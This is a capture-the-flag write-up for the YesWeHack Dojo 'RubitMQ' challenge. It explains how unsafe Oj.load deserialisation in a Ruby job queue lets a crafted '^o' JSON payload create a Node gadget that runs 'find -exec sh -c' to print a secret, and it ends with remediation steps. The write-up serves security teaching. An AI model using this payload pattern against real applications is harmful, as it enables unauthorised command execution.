YesWeHack Dojo 48: RubitMQ
TL;DR
- Unsafe
Oj.loadenables object injection. - Built-in
Nodegadget exposes argument-controlledfind. find -execenables command execution.
Description
RubitMQ is a new, advanced message broker that is ideal for queuing jobs to be performed on the same system or remote systems acting as workers. You can easily provide instructions using JSON-based data that also performs user input sanitisation.
Solution
In this writeup, we'll review the latest YesWeHack Dojo challenge, created by Brumens 💜
Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰
Source code review
Starting with the setup code, we see the flag is stored in an environment variable.
setup.rb
require 'fileutils'
# Write flag script file with execute only
ENV["FLAG"] = flag
# Make web app folder structure and add files
FileUtils.mkdir_p '/tmp/app/views'
Dir.chdir('/tmp/app')
# Write the login page
File.write('views/index.html', '
<!DOCTYPE html>
<html lang="en">
SNIPPED
</html>
')
As usual, most of the logic relevant to the challenge is outside of the setup code. It already came with some comments, but I'll add some indexes ([i]) to highlight the important bits.
app.rb
require "active_record"
require "securerandom"
require "sqlite3"
require "open3"
require "erb"
require "uri"
require "oj"
Dir.chdir('/tmp/app')
# Database setup
ActiveRecord::Schema.verbose = false
ActiveRecord::Base.establish_connection(
adapter: "sqlite3",
database: ":memory:"
)
ActiveRecord::Base.connection.disable_query_cache!
ActiveRecord::Schema.define do
unless ActiveRecord::Base.connection.table_exists?(:jobs)
create_table :jobs do |t|
t.string :uuid, null: false, default: SecureRandom.uuid
t.string :status, null: false, default: "queued"
t.text :payload, null: false
t.timestamps
end
end
end
class Job < ActiveRecord::Base
end
# Clean up old jobs (if any)
Job.delete_all
class RubitMQ
def initialize(data)
@data = data
end
# [3]
def run
if @data.respond_to?(:run_find)
@data.run_find
end
end
end
class JobRunner
def self.run
# [2]
Job.where(status: "queued").find_each do |job|
data = Oj.load(job.payload)
RubitMQ.new(data).run()
job.update!(status: "done")
end
end
end
# [4]
class Node
def initialize(args=[])
@args = args
end
def run_find()
puts Open3.capture3("find", *@args)
end
end
payload = URI.decode_www_form_component("USER_INPUT")
# Add the job to the local database
job = Job.create!(status: "queued", payload: payload) # [1]
ActiveRecord::Base.uncached do
JobRunner.run
end
# Render the given page for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({job_name: job.uuid})
- Raw user input is inserted to a "job" payload.
- Queued jobs are processed synchronously;
Oj.loadallows object deserialisation (😬). - The deserialised object is passed into
RubitMQwithout validation and conditionally dispatched. - A convenient gadget is already defined; if we can coerce
Oj.loadinto returning aNodeinstance, we fully control the arguments passed tofind.
Testing functionality
Submitting valid JSON objects works, jobs are created and marked as done, and the dashboard renders normally, e.g.
{ "meow": "ekekek" }

There is no visible output channel for command results in the UI, but run_find uses puts, so anything printed to stdout will be included in the response.
Exploit
Oj supports object deserialisation via the ^o key. We can instantiate a Node object and control its constructor arguments.
The goal is to abuse find -exec, since Open3.capture3 does not invoke a shell directly.
This payload creates a Node object whose args trigger command execution:
{ "^o": "Node", "args": [".", "-maxdepth", "0", "-exec", "sh", "-c", "echo $FLAG", ";"] }
When the job runner executes:
Oj.loaddeserialises the payload into aNodeinstance.respond_to?(:run_find)passes.run_findexecutesfindwith attacker-controlled arguments.find -exec sh -c "echo $FLAG"executes.- The flag is printed via stdout.

Flag: FLAG{Th4t_J0b_D1d_N07_Go_A5_Exp3ct3d}
Remediation
- Never use
Oj.loadon untrusted input; useOj.safe_loadwith explicit class allowlists. - Do not dispatch methods based on
respond_to?for attacker-supplied objects. - Avoid exposing command-executing helpers (
Open3,system, backticks) to data objects. - Treat job payloads as data, not executable objects.
Summary (TLDR)
Unsafe JSON deserialisation allows injecting an existing Ruby object that exposes a find execution gadget. Abusing find -exec leads to command execution, allowing the flag to be retrieved.